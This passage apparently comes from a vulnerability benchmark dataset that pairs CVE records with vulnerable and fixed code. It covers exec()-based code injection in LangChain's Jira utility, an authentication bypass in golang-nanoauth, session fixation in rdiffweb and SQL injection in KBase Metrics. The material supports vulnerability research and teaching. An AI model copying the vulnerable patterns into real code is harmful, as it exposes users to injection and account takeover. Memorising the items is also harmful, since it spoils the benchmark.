["https://github.com/langchain-ai/langchain/commit/a2f191a32229256dd41deadf97786fe41ce04cbb"], "programing_language": "Python", "vul_func": [{"id": "vul_py_136_1", "commit": "61938a0", "file_path": "langchain/utilities/jira.py", "start_line": 190, "end_line": 194, "snippet": "    def other(self, query: str) -> str:\n        context = {\"self\": self}\n        exec(f\"result = {query}\", context)\n        result = context[\"result\"]\n        return str(result)"}], "fix_func": [{"id": "fix_py_136_1", "commit": "a2f191a", "file_path": "langchain/utilities/jira.py", "start_line": 190, "end_line": 199, "snippet": "    def other(self, query: str) -> str:\n        try:\n            import json\n        except ImportError:\n            raise ImportError(\n                \"json is not installed. Please install it with `pip install json`\"\n            )\n        params = json.loads(query)\n        jira_function = getattr(self.jira, params[\"function\"])\n        return jira_function(*params.get(\"args\", []), **params.get(\"kwargs\", {}))"}], "vul_patch": "--- a/langchain/utilities/jira.py\n+++ b/langchain/utilities/jira.py\n@@ -1,5 +1,10 @@\n     def other(self, query: str) -> str:\n-        context = {\"self\": self}\n-        exec(f\"result = {query}\", context)\n-        result = context[\"result\"]\n-        return str(result)\n+        try:\n+            import json\n+        except ImportError:\n+            raise ImportError(\n+                \"json is not installed. Please install it with `pip install json`\"\n+            )\n+        params = json.loads(query)\n+        jira_function = getattr(self.jira, params[\"function\"])\n+        return jira_function(*params.get(\"args\", []), **params.get(\"kwargs\", {}))\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-36569", "cve_description": "Authentication is globally bypassed in github.com/nanobox-io/golang-nanoauth between v0.0.0-20160722212129-ac0cc4484ad4 and v0.0.0-20200131131040-063a3fb69896 if ListenAndServe is called with an empty token.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/nanobox-io/golang-nanoauth", "patch_url": ["https://github.com/nanobox-io/golang-nanoauth/commit/063a3fb69896acf985759f0fe3851f15973993f3"], "programing_language": "Go", "vul_func": [{"id": "vul_go_145_1", "commit": "c2ebbac", "file_path": "nanoauth.go", "start_line": 22, "end_line": 28, "snippet": "var (\n\t// DefaultAuth is the default Auth object\n\tDefaultAuth = &Auth{}\n\n\t// whether or not to check auth tokens\n\tcheck = true\n)"}, {"id": "vul_go_145_2", "commit": "c2ebbac", "file_path": "nanoauth.go", "start_line": 37, "end_line": 68, "snippet": "func (self Auth) ServeHTTP(rw http.ResponseWriter, req *http.Request) {\n\treqPath := req.URL.Path\n\tskipOnce := false\n\n\tfor _, path := range self.ExcludedPaths {\n\t\tif path == reqPath {\n\t\t\tskipOnce = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// open up for the CORS \"secure\" pre-flight check (browser doesn't allow devs to set headers in OPTIONS request)\n\tif req.Method == \"OPTIONS\" {\n\t\t// todo: actually check origin header to better implement CORS\n\t\tskipOnce = true\n\t}\n\n\tif !skipOnce && check {\n\t\tauth := \"\"\n\t\tif auth = req.Header.Get(self.Header); auth == \"\" {\n\t\t\t// check form value (case sensitive) if header not set\n\t\t\tauth = req.FormValue(self.Header)\n\t\t}\n\n\t\tif auth != self.Token {\n\t\t\trw.WriteHeader(http.StatusUnauthorized)\n\t\t\treturn\n\t\t}\n\t}\n\n\tself.child.ServeHTTP(rw, req)\n}"}, {"id": "vul_go_145_3", "commit": "c2ebbac", "file_path": "nanoauth.go", "start_line": 71, "end_line": 93, "snippet": "func (self *Auth) ListenAndServeTLS(addr, token string, h http.Handler, excludedPaths ...string) error {\n\tconfig := &tls.Config{\n\t\tCertificates: []tls.Certificate{*self.Certificate},\n\t}\n\tconfig.BuildNameToCertificate()\n\ttlsListener, err := tls.Listen(\"tcp\", addr, config)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif token == \"\" {\n\t\tcheck = false\n\t}\n\tself.ExcludedPaths = excludedPaths\n\tself.Token = token\n\n\tif h == nil {\n\t\th = http.DefaultServeMux\n\t}\n\tself.child = h\n\n\treturn http.Serve(tlsListener, self)\n}"}, {"id": "vul_go_145_4", "commit": "c2ebbac", "file_path": "nanoauth.go", "start_line": 97, "end_line": 115, "snippet": "func (self *Auth) ListenAndServe(addr, token string, h http.Handler, excludedPaths ...string) error {\n\thttpListener, err := net.Listen(\"tcp\", addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif token == \"\" {\n\t\tcheck = false\n\t}\n\tself.ExcludedPaths = excludedPaths\n\tself.Token = token\n\n\tif h == nil {\n\t\th = http.DefaultServeMux\n\t}\n\tself.child = h\n\n\treturn http.Serve(httpListener, self)\n}"}], "fix_func": [{"id": "fix_go_145_1", "commit": "063a3fb", "file_path": "nanoauth.go", "start_line": 24, "end_line": 27, "snippet": "var (\n\t// DefaultAuth is the default Auth object\n\tDefaultAuth = &Auth{}\n)"}, {"id": "fix_go_145_2", "commit": "063a3fb", "file_path": "nanoauth.go", "start_line": 36, "end_line": 67, "snippet": "func (self *Auth) ServeHTTP(rw http.ResponseWriter, req *http.Request) {\n\treqPath := req.URL.Path\n\tskipOnce := false\n\n\tfor _, path := range self.ExcludedPaths {\n\t\tif path == reqPath {\n\t\t\tskipOnce = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// open up for the CORS \"secure\" pre-flight check (browser doesn't allow devs to set headers in OPTIONS request)\n\tif req.Method == \"OPTIONS\" {\n\t\t// todo: actually check origin header to better implement CORS\n\t\tskipOnce = true\n\t}\n\n\tif !skipOnce {\n\t\tauth := \"\"\n\t\tif auth = req.Header.Get(self.Header); auth == \"\" {\n\t\t\t// check form value (case sensitive) if header not set\n\t\t\tauth = req.FormValue(self.Header)\n\t\t}\n\n\t\tif subtle.ConstantTimeCompare([]byte(auth), []byte(self.Token)) == 0 {\n\t\t\trw.WriteHeader(http.StatusUnauthorized)\n\t\t\treturn\n\t\t}\n\t}\n\n\tself.child.ServeHTTP(rw, req)\n}"}, {"id": "fix_go_145_3", "commit": "063a3fb", "file_path": "nanoauth.go", "start_line": 70, "end_line": 92, "snippet": "func (self *Auth) ListenAndServeTLS(addr, token string, h http.Handler, excludedPaths ...string) error {\n\tif token == \"\" {\n\t\treturn errors.New(\"nanoauth: token missing\")\n\t}\n\tconfig := &tls.Config{\n\t\tCertificates: []tls.Certificate{*self.Certificate},\n\t}\n\tconfig.BuildNameToCertificate()\n\ttlsListener, err := tls.Listen(\"tcp\", addr, config)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tself.ExcludedPaths = excludedPaths\n\tself.Token = token\n\n\tif h == nil {\n\t\th = http.DefaultServeMux\n\t}\n\tself.child = h\n\n\treturn http.Serve(tlsListener, self)\n}"}, {"id": "fix_go_145_4", "commit": "063a3fb", "file_path": "nanoauth.go", "start_line": 96, "end_line": 114, "snippet": "func (self *Auth) ListenAndServe(addr, token string, h http.Handler, excludedPaths ...string) error {\n\tif token == \"\" {\n\t\treturn errors.New(\"nanoauth: token missing\")\n\t}\n\thttpListener, err := net.Listen(\"tcp\", addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tself.ExcludedPaths = excludedPaths\n\tself.Token = token\n\n\tif h == nil {\n\t\th = http.DefaultServeMux\n\t}\n\tself.child = h\n\n\treturn http.Serve(httpListener, self)\n}"}], "vul_patch": "--- a/nanoauth.go\n+++ b/nanoauth.go\n@@ -1,7 +1,4 @@\n var (\n \t// DefaultAuth is the default Auth object\n \tDefaultAuth = &Auth{}\n-\n-\t// whether or not to check auth tokens\n-\tcheck = true\n )\n\n--- a/nanoauth.go\n+++ b/nanoauth.go\n@@ -1,4 +1,4 @@\n-func (self Auth) ServeHTTP(rw http.ResponseWriter, req *http.Request) {\n+func (self *Auth) ServeHTTP(rw http.ResponseWriter, req *http.Request) {\n \treqPath := req.URL.Path\n \tskipOnce := false\n \n@@ -15,14 +15,14 @@\n \t\tskipOnce = true\n \t}\n \n-\tif !skipOnce && check {\n+\tif !skipOnce {\n \t\tauth := \"\"\n \t\tif auth = req.Header.Get(self.Header); auth == \"\" {\n \t\t\t// check form value (case sensitive) if header not set\n \t\t\tauth = req.FormValue(self.Header)\n \t\t}\n \n-\t\tif auth != self.Token {\n+\t\tif subtle.ConstantTimeCompare([]byte(auth), []byte(self.Token)) == 0 {\n \t\t\trw.WriteHeader(http.StatusUnauthorized)\n \t\t\treturn\n \t\t}\n\n--- a/nanoauth.go\n+++ b/nanoauth.go\n@@ -1,4 +1,7 @@\n func (self *Auth) ListenAndServeTLS(addr, token string, h http.Handler, excludedPaths ...string) error {\n+\tif token == \"\" {\n+\t\treturn errors.New(\"nanoauth: token missing\")\n+\t}\n \tconfig := &tls.Config{\n \t\tCertificates: []tls.Certificate{*self.Certificate},\n \t}\n@@ -8,9 +11,6 @@\n \t\treturn err\n \t}\n \n-\tif token == \"\" {\n-\t\tcheck = false\n-\t}\n \tself.ExcludedPaths = excludedPaths\n \tself.Token = token\n \n\n--- a/nanoauth.go\n+++ b/nanoauth.go\n@@ -1,12 +1,12 @@\n func (self *Auth) ListenAndServe(addr, token string, h http.Handler, excludedPaths ...string) error {\n+\tif token == \"\" {\n+\t\treturn errors.New(\"nanoauth: token missing\")\n+\t}\n \thttpListener, err := net.Listen(\"tcp\", addr)\n \tif err != nil {\n \t\treturn err\n \t}\n \n-\tif token == \"\" {\n-\t\tcheck = false\n-\t}\n \tself.ExcludedPaths = excludedPaths\n \tself.Token = token\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-3269", "cve_description": "Session Fixation in GitHub repository ikus060/rdiffweb prior to 2.4.7.", "cwe_info": {"CWE-384": {"name": "Session Fixation", "description": "Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions."}}, "repo": "https://github.com/ikus060/rdiffweb", "patch_url": ["https://github.com/ikus060/rdiffweb/commit/39e7dcd4a1f44d2a7bd92b79d78a800910b1b22b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_209_1", "commit": "ac334dd", "file_path": "rdiffweb/controller/page_login.py", "start_line": 60, "end_line": 84, "snippet": "    def index(self, **kwargs):\n        form = LoginForm()\n        # Validate user's credentials\n        if form.validate_on_submit():\n            try:\n                userobj = self.app.store.login(form.login.data, form.password.data)\n            except Exception:\n                logger.exception('fail to validate credential')\n                flash(_(\"Fail to validate user credential.\"))\n            else:\n                if userobj:\n                    cherrypy.session[SESSION_KEY] = userobj.username\n                    raise cherrypy.HTTPRedirect(form.redirect.data)\n                flash(_(\"Invalid username or password.\"))\n\n        params = {'form': form}\n\n        # Add welcome message to params. Try to load translated message.\n        if self._welcome_msg:\n            params[\"welcome_msg\"] = self._welcome_msg.get('')\n            if hasattr(cherrypy.response, 'i18n'):\n                locale = cherrypy.response.i18n.locale.language\n                params[\"welcome_msg\"] = self._welcome_msg.get(locale, params[\"welcome_msg\"])\n\n        return self._compile_template(\"login.html\", **params).encode(\"utf-8\")"}, {"id": "vul_py_209_2", "commit": "ac334dd", "file_path": "rdiffweb/controller/page_login.py", "start_line": 90, "end_line": 92, "snippet": "    def default(self):\n        cherrypy.session[SESSION_KEY] = None\n        raise cherrypy.HTTPRedirect('/')"}], "fix_func": [{"id": "fix_py_209_1", "commit": "39e7dcd", "file_path": "rdiffweb/controller/page_login.py", "start_line": 60, "end_line": 85, "snippet": "    def index(self, **kwargs):\n        form = LoginForm()\n        # Validate user's credentials\n        if form.validate_on_submit():\n            try:\n                userobj = self.app.store.login(form.login.data, form.password.data)\n            except Exception:\n                logger.exception('fail to validate credential')\n                flash(_(\"Fail to validate user credential.\"))\n            else:\n                if userobj:\n                    cherrypy.session[SESSION_KEY] = userobj.username\n                    cherrypy.session.regenerate()\n                    raise cherrypy.HTTPRedirect(form.redirect.data)\n                flash(_(\"Invalid username or password.\"))\n\n        params = {'form': form}\n\n        # Add welcome message to params. Try to load translated message.\n        if self._welcome_msg:\n            params[\"welcome_msg\"] = self._welcome_msg.get('')\n            if hasattr(cherrypy.response, 'i18n'):\n                locale = cherrypy.response.i18n.locale.language\n                params[\"welcome_msg\"] = self._welcome_msg.get(locale, params[\"welcome_msg\"])\n\n        return self._compile_template(\"login.html\", **params).encode(\"utf-8\")"}, {"id": "fix_py_209_2", "commit": "39e7dcd", "file_path": "rdiffweb/controller/page_login.py", "start_line": 91, "end_line": 94, "snippet": "    def default(self):\n        cherrypy.session[SESSION_KEY] = None\n        cherrypy.session.regenerate()\n        raise cherrypy.HTTPRedirect('/')"}], "vul_patch": "--- a/rdiffweb/controller/page_login.py\n+++ b/rdiffweb/controller/page_login.py\n@@ -10,6 +10,7 @@\n             else:\n                 if userobj:\n                     cherrypy.session[SESSION_KEY] = userobj.username\n+                    cherrypy.session.regenerate()\n                     raise cherrypy.HTTPRedirect(form.redirect.data)\n                 flash(_(\"Invalid username or password.\"))\n \n\n--- a/rdiffweb/controller/page_login.py\n+++ b/rdiffweb/controller/page_login.py\n@@ -1,3 +1,4 @@\n     def default(self):\n         cherrypy.session[SESSION_KEY] = None\n+        cherrypy.session.regenerate()\n         raise cherrypy.HTTPRedirect('/')\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-4860", "cve_description": "A vulnerability was found in KBase Metrics. It has been classified as critical. This affects the function upload_user_data of the file source/daily_cron_jobs/methods_upload_user_stats.py. The manipulation leads to sql injection. The patch is named 959dfb6b05991e30b0fa972a1ecdcaae8e1dae6d. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-217059.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/kbase/metrics", "patch_url": ["https://github.com/kbase/metrics/commit/959dfb6b05991e30b0fa972a1ecdcaae8e1dae6d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_210_1", "commit": "c9ec070", "file_path": "source/daily_cron_jobs/methods_upload_user_stats.py", "start_line": 349, "end_line": 724, "snippet": "def upload_user_data(user_stats_dict):\n    \"\"\"\n    Takes the User Stats dict that is populated by the other functions and \n    then populates the user_info and user_system_summary_stats tables\n    in the metrics MySQL DB.\n    \"\"\"\n    total_users = len(user_stats_dict.keys())\n    rows_info_inserted = 0\n    rows_info_updated = 0\n    rows_stats_inserted = 0\n    # connect to mysql\n    db_connection = mysql.connect(\n        host=sql_host, user=\"metrics\", passwd=metrics_mysql_password, database=\"metrics\"\n    )\n\n    cursor = db_connection.cursor()\n    query = \"use \" + query_on\n    cursor.execute(query)\n\n    counter_user_id = -1\n    get_max_user_id_q = (\n\t\"select max(user_id) from metrics.user_info \"\n    )\n    cursor.execute(get_max_user_id_q)\n    for row in cursor:\n        counter_user_id = row[0]\n        \n    # get all existing users\n    existing_user_info = dict()\n    query = (\n        \"select username, display_name, email, orcid, globus_login, google_login, \"\n        \"kb_internal_user, institution, country, \"\n        \"signup_date, last_signin_date, department, job_title, job_title_other, \"\n        \"city, state, postal_code, funding_source, research_statement, \"\n        \"research_interests, avatar_option, gravatar_default , \"\n        \"how_u_hear_selected, how_u_hear_other from metrics.user_info\"\n    )\n    cursor.execute(query)\n    for (\n            username,\n            display_name,\n            email,\n            orcid,\n            globus_login,\n            google_login,\n            kb_internal_user,\n            institution,\n            country,\n            signup_date,\n            last_signin_date,\n            department,\n            job_title,\n            job_title_other,\n            city,\n            state,\n            postal_code,\n            funding_source,\n            research_statement,\n            research_interests,\n            avatar_option,\n            gravatar_default,\n            how_u_hear_selected,\n            how_u_hear_other\n    ) in cursor:\n        existing_user_info[username] = {\n            \"name\": display_name,\n            \"email\": email,\n            \"orcid\": orcid,\n            \"globus_login\": globus_login,\n            \"google_login\": google_login,\n            \"kb_internal_user\": kb_internal_user,\n            \"institution\": institution,\n            \"country\": country,\n            \"signup_date\": signup_date,\n            \"last_signin_date\": last_signin_date,\n            \"department\": department,\n            \"job_title\": job_title,\n            \"job_title_other\": job_title_other,\n            \"city\" : city,\n            \"state\" : state,\n            \"postal_code\" : postal_code,\n            \"funding_source\" : funding_source,\n            \"research_statement\" : research_statement,\n            \"research_interests\" : research_interests,\n            \"avatar_option\" : avatar_option,\n            \"gravatar_default\" : gravatar_default,\n            \"how_u_hear_selected\" : how_u_hear_selected,\n            \"how_u_hear_other\" : how_u_hear_other\n        }\n\n    print(\"Number of existing users:\" + str(len(existing_user_info)))\n\n    prep_cursor = db_connection.cursor(prepared=True)\n    user_info_insert_statement = (\n        \"insert into user_info \"\n        \"(username, display_name, email, orcid, \"\n        \"globus_login, google_login, \"\n        \"user_id, kb_internal_user, institution, \"\n        \"country, signup_date, last_signin_date, \"\n        \"department, job_title, job_title_other, \"\n        \"city, state, postal_code, funding_source, \"\n        \"research_statement, research_interests, \"\n        \"avatar_option, gravatar_default, \"\n        \"how_u_hear_selected, how_u_hear_other)\"\n        \"values(%s, %s, %s, %s, \"\n        \"%s, %s, \"\n        \"%s, %s, %s, \"\n        \"%s, %s, %s, \"\n        \"%s, %s, %s, \"\n        \"%s, %s, %s, %s, \"\n        \"%s, %s, \"\n        \"%s, %s, \"\n        \"%s, %s);\")\n\n    update_prep_cursor = db_connection.cursor(prepared=True)\n    user_info_update_statement = (\n        \"update user_info \"\n        \"set display_name = %s, email = %s, \"\n        \"orcid = %s, globus_login = %s, \"\n        \"google_login = %s, kb_internal_user = %s, \"\n        \"institution = %s, country = %s, \"\n        \"signup_date = %s, last_signin_date = %s, \"\n        \"department = %s, job_title = %s, \"\n        \"job_title_other = %s, \"\n        \"city = %s, state = %s, \"\n        \"postal_code = %s, funding_source = %s, \"\n        \"research_statement = %s, \"\n        \"research_interests = %s, \"\n        \"avatar_option = %s, \"\n        \"gravatar_default = %s, \"\n        \"how_u_hear_selected = %s, \"\n        \"how_u_hear_other = %s \"\n        \"where username = %s;\"\n    )\n\n    new_user_info_count = 0\n    users_info_updated_count = 0\n\n    for username in user_stats_dict:\n        # check if new user_info exists in the existing user info, if not insert the record.\n        if username not in existing_user_info:\n            counter_user_id += 1\n            input = (\n                username,\n                user_stats_dict[username][\"name\"],\n                user_stats_dict[username][\"email\"],\n                user_stats_dict[username][\"orcid\"],\n                user_stats_dict[username][\"globus_login\"],\n                user_stats_dict[username][\"google_login\"],\n                counter_user_id,\n                user_stats_dict[username][\"kbase_internal_user\"],\n                user_stats_dict[username][\"institution\"],\n                user_stats_dict[username][\"country\"],\n                user_stats_dict[username][\"signup_date\"],\n                user_stats_dict[username][\"last_signin_date\"],\n                user_stats_dict[username][\"department\"],\n                user_stats_dict[username][\"job_title\"],\n                user_stats_dict[username][\"job_title_other\"],\n                user_stats_dict[username][\"city\"],\n                user_stats_dict[username][\"state\"],\n                user_stats_dict[username][\"postal_code\"],\n                user_stats_dict[username][\"funding_source\"],\n                user_stats_dict[username][\"research_statement\"],\n                user_stats_dict[username][\"research_interests\"],\n                user_stats_dict[username][\"avatar_option\"],\n                user_stats_dict[username][\"gravatar_default\"],\n                user_stats_dict[username][\"how_u_hear_selected\"],\n                user_stats_dict[username][\"how_u_hear_other\"],\n            )\n            prep_cursor.execute(user_info_insert_statement, input)\n            new_user_info_count += 1\n        else:\n            # Check if anything has changed in the user_info, if so update the record\n            if not (\n                (\n                    user_stats_dict[username][\"last_signin_date\"] is None\n                    or user_stats_dict[username][\"last_signin_date\"].strftime(\n                        \"%Y-%m-%d %H:%M:%S\"\n                    )\n                    == str(existing_user_info[username][\"last_signin_date\"])\n                )\n                and (\n                    user_stats_dict[username][\"signup_date\"].strftime(\n                        \"%Y-%m-%d %H:%M:%S\"\n                    )\n                    == str(existing_user_info[username][\"signup_date\"])\n                )\n                and user_stats_dict[username][\"country\"]\n                    == existing_user_info[username][\"country\"]\n                and user_stats_dict[username][\"institution\"]\n                    == existing_user_info[username][\"institution\"]\n                and user_stats_dict[username][\"kbase_internal_user\"]\n                    == existing_user_info[username][\"kb_internal_user\"]\n                and user_stats_dict[username][\"orcid\"]\n                    == existing_user_info[username][\"orcid\"]\n                and user_stats_dict[username][\"globus_login\"]\n                    == existing_user_info[username][\"globus_login\"]\n                and user_stats_dict[username][\"google_login\"]\n                    == existing_user_info[username][\"google_login\"]\n                and user_stats_dict[username][\"email\"]\n                    == existing_user_info[username][\"email\"]\n                and user_stats_dict[username][\"name\"]\n                    == existing_user_info[username][\"name\"]\n                and user_stats_dict[username][\"department\"]\n                    == existing_user_info[username][\"department\"]\n                and user_stats_dict[username][\"job_title\"]\n                    == existing_user_info[username][\"job_title\"]\n                and user_stats_dict[username][\"job_title_other\"]\n                    == existing_user_info[username][\"job_title_other\"]\n                and user_stats_dict[username][\"city\"]\n                    == existing_user_info[username][\"city\"]\n                and user_stats_dict[username][\"state\"]\n                    == existing_user_info[username][\"state\"]\n                and user_stats_dict[username][\"postal_code\"]\n                    == existing_user_info[username][\"postal_code\"]\n                and user_stats_dict[username][\"funding_source\"]\n                    == existing_user_info[username][\"funding_source\"]\n                and user_stats_dict[username][\"research_statement\"]\n                    == existing_user_info[username][\"research_statement\"]\n                and user_stats_dict[username][\"research_interests\"]\n                    == existing_user_info[username][\"research_interests\"]\n                and user_stats_dict[username][\"avatar_option\"]\n                    == existing_user_info[username][\"avatar_option\"]\n                and user_stats_dict[username][\"gravatar_default\"]\n                    == existing_user_info[username][\"gravatar_default\"]\n                and user_stats_dict[username][\"how_u_hear_selected\"]\n                    == existing_user_info[username][\"how_u_hear_selected\"]\n                and user_stats_dict[username][\"how_u_hear_other\"]\n                    == existing_user_info[username][\"how_u_hear_other\"]\n            ):\n                input = (\n                    user_stats_dict[username][\"name\"],\n                    user_stats_dict[username][\"email\"],\n                    user_stats_dict[username][\"orcid\"],\n                    user_stats_dict[username][\"globus_login\"],\n                    user_stats_dict[username][\"google_login\"],\n                    user_stats_dict[username][\"kbase_internal_user\"],\n                    user_stats_dict[username][\"institution\"],\n                    user_stats_dict[username][\"country\"],\n                    user_stats_dict[username][\"signup_date\"],\n                    user_stats_dict[username][\"last_signin_date\"],\n                    user_stats_dict[username][\"department\"],\n                    user_stats_dict[username][\"job_title\"],\n                    user_stats_dict[username][\"job_title_other\"],\n                    user_stats_dict[username][\"city\"],\n                    user_stats_dict[username][\"state\"],\n                    user_stats_dict[username][\"postal_code\"],\n                    user_stats_dict[username][\"funding_source\"],\n                    user_stats_dict[username][\"research_statement\"],\n                    user_stats_dict[username][\"research_interests\"],\n                    user_stats_dict[username][\"avatar_option\"],\n                    user_stats_dict[username][\"gravatar_default\"],\n                    user_stats_dict[username][\"how_u_hear_selected\"],\n                    user_stats_dict[username][\"how_u_hear_other\"],\n                    username,\n                )\n                update_prep_cursor.execute(user_info_update_statement, input)\n                users_info_updated_count += 1\n    db_connection.commit()\n\n    print(\"Number of new users info inserted:\" + str(new_user_info_count))\n    print(\"Number of users updated:\" + str(users_info_updated_count))\n\n    dev_tokens_users = get_dev_token_users_from_mongo()\n    #print(\"dev_tokens_users: \" + str(dev_tokens_users))\n\n    ####################\n    # TRIED DO UPDATE WITH PASSED LIST NONE OF THIS WORKED\n    # HAD To build up the entire string\n    #    update_new_dev_tokens_statement = (\n    #        \"update user_info set dev_token_first_seen = now() \"\n    #        \"where dev_token_first_seen is null and \"\n    #        \"username in (%s)\"\n    #        )\n    #    sql_params = \",\".join(dev_tokens_users)\n    #    sql_params = (dev_tokens_users,)\n    #    sql_params = ([str(dev_tokens_users)])\n    #    cursor.execute(update_new_dev_tokens_statement, [sql_params])\n    #    cursor.execute(\"update user_info set dev_token_first_seen = now() \"\n    #                   \"where dev_token_first_seen is null and \"\n    #                   \"username in (%s)\" % ', '.join('?' * len(dev_tokens_users)), dev_tokens_users)\n    #    update_new_dev_tokens_statement = (\n    #        \"update user_info set dev_token_first_seen = now() \"\n    #        \"where dev_token_first_seen is null and \"\n    #        \"username in (%s)\" % ', '.join('?' * len(dev_tokens_users)), dev_tokens_users\n    #        )\n    #    cursor.execute(\"SELECT foo.y FROM foo WHERE foo.x in (%s)\" % ', '.join('?' * len(s)), s)\n    dev_tokens_string = \"', '\".join(dev_tokens_users)\n    update_new_dev_tokens_statement = (\n        \"update user_info set dev_token_first_seen = now() \"\n        \"where dev_token_first_seen is null and \"\n        \"username in ('\" + dev_tokens_string + \"')\"\n        )\n    cursor.execute(update_new_dev_tokens_statement)\n    db_connection.commit()\n    \n    # NOW DO USER SUMMARY STATS\n    user_summary_stats_insert_statement = (\n        \"insert into user_system_summary_stats \"\n        \"(username,num_orgs, narrative_count, \"\n        \"shared_count, narratives_shared) \"\n        \"values(%s,%s,%s,%s,%s);\"\n    )\n\n    existing_user_summary_stats = dict()\n    query = (\n        \"select username, num_orgs, narrative_count, shared_count, narratives_shared \"\n        \"from user_system_summary_stats_current\"\n    )\n    cursor.execute(query)\n    for (\n        username,\n        num_orgs,\n        narrative_count,\n        shared_count,\n        narratives_shared,\n    ) in cursor:\n        existing_user_summary_stats[username] = {\n            \"num_orgs\": num_orgs,\n            \"narrative_count\": narrative_count,\n            \"shared_count\": shared_count,\n            \"narratives_shared\": narratives_shared,\n        }\n    print(\"Number of existing user summaries:\" + str(len(existing_user_summary_stats)))\n\n    new_user_summary_count = 0\n    existing_user_summary_count = 0\n    for username in user_stats_dict:\n        if username not in existing_user_summary_stats:\n            # if user does not exist insert\n            input = (\n                username,\n                user_stats_dict[username][\"num_orgs\"],\n                user_stats_dict[username][\"narrative_count\"],\n                user_stats_dict[username][\"shared_count\"],\n                user_stats_dict[username][\"narratives_shared\"],\n            )\n            prep_cursor.execute(user_summary_stats_insert_statement, input)\n            new_user_summary_count += 1\n        else:\n            # else see if the new data differs from the most recent snapshot. If it does differ, do an insert\n            if not (\n                user_stats_dict[username][\"num_orgs\"]\n                == existing_user_summary_stats[username][\"num_orgs\"]\n                and user_stats_dict[username][\"narrative_count\"]\n                == existing_user_summary_stats[username][\"narrative_count\"]\n                and user_stats_dict[username][\"shared_count\"]\n                == existing_user_summary_stats[username][\"shared_count\"]\n                and user_stats_dict[username][\"narratives_shared\"]\n                == existing_user_summary_stats[username][\"narratives_shared\"]\n            ):\n                input = (\n                    username,\n                    user_stats_dict[username][\"num_orgs\"],\n                    user_stats_dict[username][\"narrative_count\"],\n                    user_stats_dict[username][\"shared_count\"],\n                    user_stats_dict[username][\"narratives_shared\"],\n                )\n                prep_cursor.execute(user_summary_stats_insert_statement, input)\n                existing_user_summary_count += 1\n\n    db_connection.commit()\n\n    # THIS CODE is to update any of the 434 excluded users that had accounts made for them\n    # but never logged in. In case any of them ever do log in, they will be removed from\n    # the excluded list\n    query = \"UPDATE metrics.user_info set exclude = False where last_signin_date is not NULL\"\n    cursor.execute(query)\n    db_connection.commit()\n\n    print(\"Number of new users summary inserted:\" + str(new_user_summary_count))\n    print(\n        \"Number of existing users summary inserted:\" + str(existing_user_summary_count)\n    )\n\n    return 1"}], "fix_func": [{"id": "fix_py_210_1", "commit": "959dfb6", "file_path": "source/daily_cron_jobs/methods_upload_user_stats.py", "start_line": 349, "end_line": 702, "snippet": "def upload_user_data(user_stats_dict):\n    \"\"\"\n    Takes the User Stats dict that is populated by the other functions and \n    then populates the user_info and user_system_summary_stats tables\n    in the metrics MySQL DB.\n    \"\"\"\n    total_users = len(user_stats_dict.keys())\n    rows_info_inserted = 0\n    rows_info_updated = 0\n    rows_stats_inserted = 0\n    # connect to mysql\n    db_connection = mysql.connect(\n        host=sql_host, user=\"metrics\", passwd=metrics_mysql_password, database=\"metrics\"\n    )\n\n    cursor = db_connection.cursor()\n    query = \"use \" + query_on\n    cursor.execute(query)\n\n    counter_user_id = -1\n    get_max_user_id_q = (\n\t\"select max(user_id) from metrics.user_info \"\n    )\n    cursor.execute(get_max_user_id_q)\n    for row in cursor:\n        counter_user_id = row[0]\n        \n    # get all existing users\n    existing_user_info = dict()\n    query = (\n        \"select username, display_name, email, orcid, globus_login, google_login, \"\n        \"kb_internal_user, institution, country, \"\n        \"signup_date, last_signin_date, department, job_title, job_title_other, \"\n        \"city, state, postal_code, funding_source, research_statement, \"\n        \"research_interests, avatar_option, gravatar_default , \"\n        \"how_u_hear_selected, how_u_hear_other from metrics.user_info\"\n    )\n    cursor.execute(query)\n    for (\n            username,\n            display_name,\n            email,\n            orcid,\n            globus_login,\n            google_login,\n            kb_internal_user,\n            institution,\n            country,\n            signup_date,\n            last_signin_date,\n            department,\n            job_title,\n            job_title_other,\n            city,\n            state,\n            postal_code,\n            funding_source,\n            research_statement,\n            research_interests,\n            avatar_option,\n            gravatar_default,\n            how_u_hear_selected,\n            how_u_hear_other\n    ) in cursor:\n        existing_user_info[username] = {\n            \"name\": display_name,\n            \"email\": email,\n            \"orcid\": orcid,\n            \"globus_login\": globus_login,\n            \"google_login\": google_login,\n            \"kb_internal_user\": kb_internal_user,\n            \"institution\": institution,\n            \"country\": country,\n            \"signup_date\": signup_date,\n            \"last_signin_date\": last_signin_date,\n            \"department\": department,\n            \"job_title\": job_title,\n            \"job_title_other\": job_title_other,\n            \"city\" : city,\n            \"state\" : state,\n            \"postal_code\" : postal_code,\n            \"funding_source\" : funding_source,\n            \"research_statement\" : research_statement,\n            \"research_interests\" : research_interests,\n            \"avatar_option\" : avatar_option,\n            \"gravatar_default\" : gravatar_default,\n            \"how_u_hear_selected\" : how_u_hear_selected,\n            \"how_u_hear_other\" : how_u_hear_other\n        }\n\n    print(\"Number of existing users:\" + str(len(existing_user_info)))\n\n    prep_cursor = db_connection.cursor(prepared=True)\n    user_info_insert_statement = (\n        \"insert into user_info \"\n        \"(username, display_name, email, orcid, \"\n        \"globus_login, google_login, 